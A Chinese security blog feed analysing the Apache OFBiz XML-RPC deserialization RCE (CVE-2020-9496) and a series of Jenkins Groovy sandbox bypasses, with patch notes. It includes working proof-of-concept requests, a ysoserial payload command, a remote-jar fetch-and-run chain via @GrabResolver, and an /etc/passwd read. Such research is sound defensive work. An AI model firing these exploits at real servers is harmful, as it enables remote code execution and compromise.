Security on 诗与胡说

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

Tue, 22 Sep 2020 11:17:46 +0000

环境搭建

下载：https://downloads.apache.org/ofbiz/
安装：在主目录下执行：
1. .\gradle\init-gradle-wrapper.ps1
2. gradlew.bat

背景

Web路由

<!-- framework\webtools\webapp\webtools\WEB-INF\web.xml -->
<servlet>
    <description>Main Control Servlet</description>
    <display-name>ControlServlet</display-name>
    <servlet-name>ControlServlet</servlet-name>
    <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>ControlServlet</servlet-name>
    <url-pattern>/control/*</url-pattern>
</servlet-mapping>

根据web.xml定义的servlet，定位到org.apache.ofbiz.webapp.control.ControlServlet

主要请求由org.apache.ofbiz.webapp.control.RequestHandler#doRequest()处理

首先根据请求的url获取路由信息，默认有216个url路径（17.12.03版本）

之后会根据requestMap.event信息去查找负责处理event的handler，之后再通过invoke进行具体的调用，该过程由org.apache.ofbiz.webapp.control.RequestHandler#runEvent()来完成

XML-RPC消息

XML-RPC数据类型

文档：https://ws.apache.org/xmlrpc/types.html

根据文档，xmlrpc支持多种数据类型，对应的xml标签包括base64、struct、array等

下面是几种常见的数据类型

<!-- array -->
<value>
  <array>
    <data>
      <value><int>7</int></value>
    </data>
  </array>
</value>


<!-- struct -->
<struct> 
  <member> 
    <name>foo</name> 
    <value>bar</value> 
  </member> 
</struct>

XML-RPC消息格式

文档：http://xmlrpc.com/spec.md

每个XML-RPC请求都以<methodCall></methodCall>开头，该元素包含单个子元素<methodName>method</methodName>，元素<methodName>包含子元素<params>，<params>可以包含一个或多个<param>元素。如：

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>examples.getStateName</methodName>  
  <params> 
    <param> 
      <value>
        <i4>41</i4>
      </value> 
    </param> 
  </params> 
</methodCall>

漏洞分析

CVE-2020-9496

根据补丁发现framework\webtools\webapp\webtools\WEB-INF\controller.xml中的xmlrpc请求增加了<security auth="true"/>的认证，说明默认情况下该接口访问无需认证

<!-- framework\webtools\webapp\webtools\WEB-INF\controller.xml -->
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
    <security https="false"/>
    <event type="xmlrpc"/>
    <response name="error" type="none"/>
    <response name="success" type="none"/>
</request-map>

调用方法

直接构造post请求发送

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
  <methodName>testMethod</methodName>
  <params>
    <param>
      <value>test</value>
    </param>
  </params>
</methodCall>

发现报错org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]说明没有相关的方法

下断点调试一下，由上面的org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()进入execute()，接着调用org.apache.xmlrpc.server.XmlRpcServer#execute()

跟入XmlRpcServer#execute()，发现调用了org.apache.xmlrpc.server.XmlRpcServerWorker#execute()，由具体的event handler处理XML-RPC请求

在org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()中获取Handler对应的ModelService，默认注册的service有3000多个，也就是可供调用的methodName，如果找不到service会抛出No such service的异常

所以此处传入一个已注册的service

回到org.apache.xmlrpc.server.XmlRpcServerWorker#execute()，当成功查询到service后通过handler.execute(pRequest)进行调用，注意此处还会检查一次ModelService的export属性，因此通过遍历serviceMap找到一个export为true的方法，如ping

继续构造请求（下面会解释为什么需要struct块）

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>foo</name>
            <value>aa</value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

响应

<?xml version="1.0" encoding="UTF-8"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><params><param><value><struct><member><name>message</name><value>PONG</value></member></struct></value></param></params></methodResponse>

说明成功调用ping方法

反序列化点

在Ofbiz自带的第三方库xmlrpc-common-3.1.3.jar中的org.apache.xmlrpc.parser.SerializableParser类能明显地看到对数据的还原操作，如果gadget到达此处能直接被反序列化而不会被过滤。

解析XML

回到org.apache.ofbiz.webapp.control.RequestHandler#runEvent()方法，在其随后调用的链中，注意到getRequest()方法

org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
  org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
    org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
      org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()

在getRequest()中，传入的xml数据由第三方库xmlrpc-common.jar来进行解析（注意到此处做了XXE防护）

该类的初始化由父类org.apache.xmlrpc.parser.RecursiveTypeParserImpl完成，顾名思义就是递归解析，其他的便是常规的xml元素解析操作，包括startElement()、endElement()等。我们知道在解析器解析xml数据的过程中，会触发到scanDocument()操作对元素进行逐一“扫描”，其中就会进行startElement()、endElement()的调用，这个过程如果处理不当就会引入问题。

注意到在endElement()方法中对于value标签的处理，同样由父类完成，跟入org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()

在endValueTag()调用了getResult()方法，而这个方法就是上面提到的反序列化目标方法，那么接下来就是构造xml数据发送给Ofbiz，如果value的标签中存放的值为序列化数据，那么会由SerializableParser类进行反序列化进而触发漏洞，调用链是这个样子的

org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
  org.apache.xerces.parsers.AbstractSAXParser.parse()
    org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
      org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
        org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
          org.apache.xmlrpc.parser.MapParser.endElement()
            org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
              org.apache.xmlrpc.parser.SerializableParser.getResult()

PoC构造

接下来的问题就是如何构造出特定的xml数据

以上面的ping方法为例，假设post如下数据

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>test</value>
    </param>
  </params>
</methodCall>

Ofbiz成功解析到endValueTag()方法，但是由于typeParser属性为空，因此不会进入getResult()方法

那么typeParser属性是在哪里赋值的呢？

回到org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement()，在解析器解析xml标签时，对4类标签（methodCall、params、param、value）有分别的处理，这个处理过程是随着每次遍历标签进行的，当扫描完4个必须提供的标签后，会调用父类的startElement()进行处理，而typeParser就是在父类中完成赋值的，随后便通过不同的解析器进入不同的解析流程，还是会调用对应解析器的startElement，这个过程是递归的

分析扫描标签的递增过程，发现此处除了4个标签外，还需在<value>标签中含有额外的标签，才会进入default分支进而对typeParser赋值，此时struct就是一个很好的选择，它能把数据作为一个结构体传入。

接着思考如何传入序列化数据，也即如何控制后端通过SerializableParser解析数据

还是关注typeParser的赋值过程，这个属性就是最终将要处理不同类型数据的解析器，在org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()中，注意到factory.getParser()操作，将由org.apache.xmlrpc.common.TypeFactoryImpl类获得不同数据类型的解析类，在其中就有获取SerializableParser的过程

因此只要传入<serializable>标签便会由SerializableParser进行解析。

此时还有个前提条件，那就是标签属性必须带有XmlRpcWriter.EXTENSIONS_URI才会进入后续的判断流程，因此post的数据是这样子的：

<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>foo</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

最后一步，数据的格式

在获取到SerializableParser解析器后，startElement过程由父类org.apache.xmlrpc.parser.ByteArrayParser#startElement()完成，在其中能看到base64的解码操作，所以最终的序列化数据是需要通过base64传输的

漏洞利用

Ofbiz中存在Commons-Beanutils库，所以使用ysoserial直接生成CommonsBeanutils1的payload

> java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...

填充serialized_data并发送

调用链

java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
	at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
	at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
	at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
	at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
	at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:465) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doGet(ControlServlet.java:217) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:91) [ofbiz.jar:?]

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

Wed, 16 Sep 2020 11:48:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(下)

本报告下篇分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，梳理了Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。

突破Groovy沙箱

借用@廖新喜在2019 KCon大会的议题《Java生态圈沙箱逃逸实战》中的一张图，概括了Groovy沙箱的绕过史

下面按照官方发布的安全更新先后顺序梳理在Script Security插件中出现的沙箱绕过漏洞

SECURITY-1266

公告：https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
CVE：CVE-2019-1003000
插件：Script Security
影响版本：<=1.49
利用点
- org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl
- org.jenkinsci.plugins.workflow.cps#CpsFlowDefinition

分析

DescriptorImpl继承自Descriptor，通过上面的利用链能调用到这个descriptor并且能指定调用方法，同时这个类的doCheckScript方法对Groovy脚本进行了解析，又根据上文的分析我们可以调用到任意do方法，因此这个过程可以控制传入的脚本内容进而绕过沙箱执行代码

下面是分析GroovyShell解析脚本的过程，不感兴趣的可以略过

通过parse()方法解析Groovy脚本，经过一系列调用后进入GroovyClassLoader#doParseClass()方法，在该方法中的unit.compile(goalPhase);完成解析

其中goalPhase记录了当前解析的阶段，相关定义在org.codehaus.groovy.control.Phases，可以看到在Groovy compile的时候共有9个阶段，其中ALL和FINALIZATION定义是一样的

从注释也能看出来，分别是

初始化：打开源文件并配置环境；
解析：语法用于生成代表源代码的令牌树；
转换：从标记树创建抽象语法树（AST）；
语义分析：执行语法无法检查的一致性和有效性检查，并解析类；
规范化：完成AST的构建；
指令选择：选择指令集，例如Java 6或Java 7字节码级别；
类生成：在内存中创建*类*的字节码；
输出：将二进制输出写入文件系统；
完成：执行任何最后的清理；

跟入CompilationUnit#compile()

可以看到当执行到阶段4时会先调用doPhaseOperation()方法，然后继续processPhaseOperations()和processNewPhaseOperations()操作，接着如果progressCallback不为空的话会去调用回调函数，当第一次进行到阶段4的时候，会设置progressCallback为ASTTestTransformation，接下来的阶段progressCallback都为这个值，直到执行到设置好的阶段7。

在执行progressCallback.call，即调用到ASTTestTransformation#visit()的过程中，会再次调用到GroovyShell#evaluate()，随后再次进入parse的流程，这是一个递归的过程，也就是说从阶段4到阶段7一共会执行4次parse，每次parse完成通过script.run()执行代码

本地测试一下，打印出每次执行到的阶段，可以看到对ASTTest的解析会涉及到阶段4到阶段7

一个tips：

@ASTTest有两个参数，其中*phase*可以指定ASTTest执行的阶段，在该阶段结束时作用于AST树

参考：https://groovy-lang.org/metaprogramming.html#xform-ASTTest

因此，通过@ASTTest语法可以利用断言执行代码，这个过程发生在Groovy解析脚本的过程中，而不用等到具体调用再执行

PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec("calc")})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/script-security-plugin commit
版本：1.50
概述：新增RejectASTTransformsCustomizer类，拦截ASTTest.class和Grab.class，出现这两个语法会抛出异常

SECURITY-1292

公告：https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292
CVE：CVE-2019-1003005
插件：Script Security Plugin
版本：<=1.50

Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements.

This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the 2019-01-08 fix for SECURITY-1266 and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.

org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl利用链中的doCheckScript方法没有及时更新修复后的安全方法，依然存在风险，绕过点就是利用@Grab

Grape 是一个内嵌在 Groovy 中的 JAR 依赖项管理器，方便在classpath中快速添加 Maven 库依赖项，更易于编写脚本。最简单的用法是在脚本上添加注释（annotation），如下所示：

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

程序会自动去仓库下载对应的库，并保存在~/.groovy/grapes/目录

分析

现在只需找到一个可以利用的类便可完成代码执行，这里列举两个：

org.zeroturnaround.zt-exec类，本地测试

@Grab('org.zeroturnaround:zt-exec:1.11')
import org.zeroturnaround.exec.ProcessExecutor
new ProcessExecutor().command("calc").execute()

除此之外，adamyordan/cve-2019-1003000-jenkins-rce-poc利用了org.buildobjects.process.ProcBuilder类，效果是一样的

import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

但是，在Jenkins中执行并不能正常触发，报错如下：

Caused by: java.lang.RuntimeException: No suitable ClassLoader found for grab
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at org.codehaus.groovy.reflection.CachedConstructor.invoke(CachedConstructor.java:83)
        at org.codehaus.groovy.runtime.callsite.ConstructorSite$ConstructorSiteNoUnwrapNoCoerce.callConstructor(ConstructorSite.java:105)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallConstructor(CallSiteArray.java:60)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:235)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:247)
        at groovy.grape.GrapeIvy.chooseClassLoader(GrapeIvy.groovy:182)
        at groovy.grape.GrapeIvy$chooseClassLoader.callCurrent(Unknown Source)
        at groovy.grape.GrapeIvy.grab(GrapeIvy.groovy:249)
        at groovy.grape.Grape.grab(Grape.java:167)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.invoke(StaticMetaMethodSite.java:46)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.callStatic(StaticMetaMethodSite.java:102)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.kohsuke.groovy.sandbox.impl.Checker$2.call(Checker.java:188)
        at org.kohsuke.groovy.sandbox.impl.Checker.checkedStaticCall(Checker.java:190)
        at org.kohsuke.groovy.sandbox.impl.Checker$checkedStaticCall$0.callStatic(Unknown Source)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:222)
        at Script1.<clinit>(Script1.groovy)
        ... 95 more

下面针对这个异常来分析@grab的执行流程，不感兴趣的可以略过

@grab的解析与上面@ASTTest类似，同样是9个阶段，不同的是解析ASTTest时回调的是ASTTestTransformation而grab回调的是GrabAnnotationTransformation#visit()，进而执行到groovy.grape.Grape#grab

最终的实现由groovy.grape.GrapeIvy#grab来完成，源码

在这个过程中会通过两次chooseClassLoader来加载class，当class以及其父类不属于groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader时会抛出No suitable ClassLoader found for grab

通过Matrix Project Plugin插件来跟踪流程，该插件的Combination Filter功能可以进行groovy解析，这个地方也披露过一个沙箱绕过漏洞，具体分析请参考下文[SECURITY-1339]{#SECURITY-1339}

当用户从Configuration Matrix页面上保存配置时，调用如下

public Script parse(GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(this.parseClass(codeSource), this.context);
}

在执行createScript()和parseClass()两个方法时都会对grab进行解析，但参数有所不同

parseClass()过程传递的参数classLoader为GroovyClassLoader，因此能够正常加载，即一次成功的grab解析过程

createScript()过程的args参数不含classLoader，于是Jenkins会加载当前插件类script-security，不属于上面提到的groovy.lang.GroovyClassLoader或者org.codehaus.groovy.tools.RootLoader，所以会抛出No suitable ClassLoader found for grab异常，但是恶意代码已经在第一次解析的时候触发了

两次调用栈对比

接下来当成功获取到loader 后会通过下面两个方法开始解析具体的jar文件，重点关注processOtherServices()

processCategoryMethods()
processOtherServices()

可以看到在processRunners()中有 newInstance()方法，当我们把META-INF/services/org.codehaus.groovy.plugins.Runners设置成恶意类时，Grape就会以这个类为入口点，即可创建这个类的实例，这也就是Orange在Hacking Jenkins Part 2中提到要将执行的类名放到该路径下的原因：

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔，把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼!

因此该漏洞的触发方式是，使用@grab引入外部jar文件，并且jar包中的META-INF/services/org.codehaus.groovy.plugins.Runners内容为要执行的类名，通过GroovyShell.parse即可触发。

PoC

需要额外创建恶意jar包并放在~/.groovy/grapes/jars目录，较鸡肋，配合@GrabResolver从远程获取恶意类更方便触发，详细分析参考[SECURITY-1319]{#SECURITY-1319}

补丁

jenkinsci/script-security-plugin commit
版本：1.51
概述：在1.50的修复中新增了一个RejectASTTransformsCustomizer类用来拦截黑名单，但是在SecureGroovyScript#DescriptorImpl的doCheckScript()方法中并没有调用，在该版本修改了直接parse的过程

createSecureCompilerConfiguration()方法即在SECURITY-1266中新增的修复方法

SECURITY-1318

@Grapes可以进行多重注释，如

@Grapes([
   @Grab(group='commons-primitives', module='commons-primitives', version='1.0'),
   @Grab(group='org.ccil.cowan.tagsoup', module='tagsoup', version='0.9.7')])
class Example {
// ...
}

所以上面的@Grab可以放进@Grapes中，效果是一样的，以此来绕过黑名单

PoC

@Grapes([@Grab('org.zeroturnaround:zt-exec:1.11'), @GrabConfig(systemClassLoader=false)])
import org.zeroturnaround.exec.ProcessExecutor;
new ProcessExecutor().command("calc").execute();

SECURITY-1319

使用@GrabResolver可以从指定仓库下载依赖文件，如

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')

这里的root可以指定任意地址，也就可以从远程获取恶意jar文件，这也是Orange在Hacking Jenkins Part 2提到的方法

PoC

编写执行命令的恶意类

public class Exploit {
    public Exploit() {
        try {
            String payload = "calc";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
        }
    }
}

编译生成class
```
javac Exploit.java
```
创建文件夹
```
mkdir -p META-INF/services/
```
将要执行的类名写入到META-INF/services/org.codehaus.groovy.plugins.Runners 中，原因见上文@grab的分析
```
echo Exploit >META-INF/services/org.codehaus.groovy.plugins.Runners
```

打包成jar

jar cvf payload-1.jar Exploit.class META-INF/

创建目录，与最终poc中garb的group，module，version关联，如

@Grab(group='exp',module='payload',version='1')

则创建exp/payload/1目录
把生成的jar文件放在exp/payload/1中，并开启一个http服务

发送PoC

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='payload',root='http://127.0.0.1:83/')%0a@Grab(group='exp',module='payload',version='1')%0aimport%20Exploit;

http响应并执行命令

注意：

当通过grab拉取jar后会在~/.groovy/grapes目录创建相应的ivy.xml文件（类似于pom文件，保存依赖关系）和jars目录，当再次请求相同的包时会从本地获取jar文件而不会去请求http，如果要再次请求就需要更改包名或版本；
还需要注意目标的Java版本与编译恶意类的Java版本是否一致，否则会报错；

SECURITY-1320

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

补丁中对1320的测试用例提示了绕过方法，就是通过导入别名的方式

PoC

import groovy.transform.ASTTest as lolwut;
@lolwut(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

SECURITY-1321

CVE：CVE-2019-1003024
插件：Script Security Plugin
版本：<=1.52

同样根据测试用例发现通过元注释来绕过

文档上的例子：

import groovy.transform.*
@AnnotationCollector([EqualsAndHashCode, ToString])
@interface Simple {}

@Simple
class User {
    String username
    int age
}

def user = new User(username: 'mrhaki', age: 39)
assert user.toString()

PoC

import groovy.transform.*;
@AnnotationCollector([ASTTest])
@interface Lol {}
@Lol(value={assert java.lang.Runtime.getRuntime().exec("calc")})
class ASTTestPoc{};

补丁

jenkinsci/script-security-plugin commit
版本：1.53
概述：SECURITY-1318, SECURITY-1319, SECURITY-1320, SECURITY-1321均在1.53版本中修复，把Grab注释相关的方法全部放进了黑名单

SECURITY-1339

公告：https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
CVE：CVE-2019-1003031
插件：Matrix Project Plugin
影响版本：<= 1.13

这个漏洞需要配合SECURITY-1336 (1) / CVE-2019-1003029触发，本质还是利用在解析groovy脚本后中通过script.run()执行代码

分析

从页面提交Filter之后执行到hudson.matrix.MatrixProject#submit()，payload传给参数combinationFilter，随后执行rebuildConfigurations

payload传入evalGroovyExpression，然后调用hudson.matrix.FilterScript#parse()方法初始化一个GroovyShell，并通过GroovyShell解析表达式，代码得到执行

PoC

class poc{poc(){"calc".execute()}}

补丁

jenkinsci/script-security-plugin commit
jenkinsci/matrix-project-plugin commit
概述：

在SECURITY-1336的修复中，使用安全的方法

GroovySandbox.run(GroovyShell, String, Whitelist)

代替

GroovySandbox.run(Script, Whitelist)

安全方法会在执行之前通过白名单检查，之后直接通过shell.parse会抛出一个java.lang.IllegalStateException的异常

SECURITY-1465

公告：https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1465%20(2)
CVE：CVE-2019-10355, CVE-2019-10356
插件：Script Security
影响版本：<=1.61

概述

Groovy语法中的方法指针运算符.&可以获取一个方法指针，后面再调用该指针可以直接访问到指定方法，如：

void doSomething(def param) {
    println "In doSomething method, param: " + param
}
def m = this.&doSomething
m("test param");

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

分析

org.kohsuke.groovy.sandbox.GroovyInterceptor是一个拦截器类，功能是为当前线程创建相应方法的拦截器，在接收拦截之前，需要通过GroovyInterceptor#register()注册，相关方法在

在script-security 1.58版本中把这部分代码放到了GroovySandbox.Scope enter()方法中

而register()方法的功能是通过threadInterceptors.get().add()为当前线程注册拦截器

public void register() {
    ((List)threadInterceptors.get()).add(this);
}

该漏洞的利用点就是在threadInterceptors.get()获取到线程信息之后，再调用clear()方法清除当前线程的所有拦截器，使黑名单失效，然后就可以注入自定义代码来绕过沙箱

本地测试一下

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }()).execute();

但是直接发送这个脚本会被org.jenkinsci.plugins.scriptsecurity.sandbox.whitelists.StaticWhitelist#rejectStaticField()拦截，于是可以在execute之前利用.&操作符绕过

或者利用这个issue的方式，在此处.&并没有起到实质调用的作用，只是为了绕过Jenkins对staticField的检查

PoC

PoC的变化也多种多样，可以通过上面分析的Matrix Project Plugin插件触发

Poc1

({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "calc" }().&toString).execute();

PoC2

1.&({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); 'x' }()); 'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：在方法指针表达式增加了transform检查

SECURITY-1538

公告：https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1538
CVE：CVE-2019-10393, CVE-2019-10394, CVE-2019-10399, CVE-2019-10400
插件：Script Security
影响版本：<=1.62

概述

该问题与SECURITY-1465一样，由于groovy语法特性导致绕过，此次利用的是方法调用表达式，可以通过()运算符直接调用call方法，如：

class MyCallable {
    int call(int x) {           
        2*x
    }
}
def mc = new MyCallable()
assert mc.call(2) == 4          
assert mc(2) == 4

参考：http://docs.groovy-lang.org/latest/html/documentation/core-operators.html#method-pointer-operator

